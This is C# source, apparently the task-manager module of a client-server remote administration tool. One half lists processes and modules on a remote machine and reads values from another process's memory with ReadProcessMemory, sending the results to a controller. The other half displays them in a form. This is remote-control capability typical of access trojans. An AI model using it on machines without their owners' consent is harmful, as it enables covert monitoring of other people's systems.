public static void Handle(IClient c, object[] data) { TaskManagerCommand command = (TaskManagerCommand)data[1]; if (formHandler.ContainsKey(c.ID)) { TaskManagerForm f = formHandler[c.ID]; if (command == TaskManagerCommand.ProcessList) { Console.WriteLine("TM Command; {0}", command.ToString()); f.StartUpdate(); string[] procNames = (string[])data[2]; int[] procIds = (int[])data[3]; string[] procWindows = (string[])data[4]; int thisProc = (int)data[5]; for (int i = 0; i < procNames.Length; i++) { f.AddProcess(procNames[i], procIds[i], procWindows[i], procWindows[i] != string.Empty, procIds[i] == thisProc); } } if (command == TaskManagerCommand.ModuleResponce) { f.ModuleResponce((string[])data[2]); } if (command == TaskManagerCommand.MemoryValue) { f.SetMemoryValue((int)data[2]); } if (command == TaskManagerCommand.InvalidProcess) { f.InvalidProcess(); } } }
public static void Handle(object[] data) { TaskManagerCommand command = (TaskManagerCommand)data[1]; if (command == TaskManagerCommand.GetProcesses) { GetProcesses(); } if (command == TaskManagerCommand.ReadMemory) { int id = (int)data[2]; string module = (string)data[3]; int offset = (int)data[4]; Process p = Process.GetProcessById(id); if (p.HasExited) { NetworkHost.Send((byte)NetworkCommand.TaskManager, (byte)TaskManagerCommand.InvalidProcess); } else { ProcessModule procMod = null; foreach (ProcessModule m in p.Modules) { if (m.ModuleName == module) { procMod = m; break; } } try { if (procMod == null) { return; } IntPtr addressRead = (IntPtr)((int)procMod.BaseAddress + offset); int output = 0; ReadProcessMemory(p.Handle, addressRead, ref output, 4, 0); NetworkHost.Send((byte)NetworkCommand.TaskManager, (byte)TaskManagerCommand.MemoryValue, output); } catch (Exception ex) { Console.WriteLine(ex.ToString()); NetworkHost.Send((byte)NetworkCommand.TaskManager, (byte)TaskManagerCommand.InvalidProcess); } } } if (command == TaskManagerCommand.GetModules) { int id = (int)data[2]; Process p = Process.GetProcessById(id); if (p.HasExited) { NetworkHost.Send((byte)NetworkCommand.TaskManager, (byte)TaskManagerCommand.InvalidProcess); } else { string[] moduleNames = new string[p.Modules.Count]; for (int i = 0; i < moduleNames.Length; i++) { try { moduleNames[i] = p.Modules[i].ModuleName; } catch { moduleNames[i] = "InvalidModule"; } } NetworkHost.Send((byte)NetworkCommand.TaskManager, (byte)TaskManagerCommand.ModuleResponce, moduleNames); } } }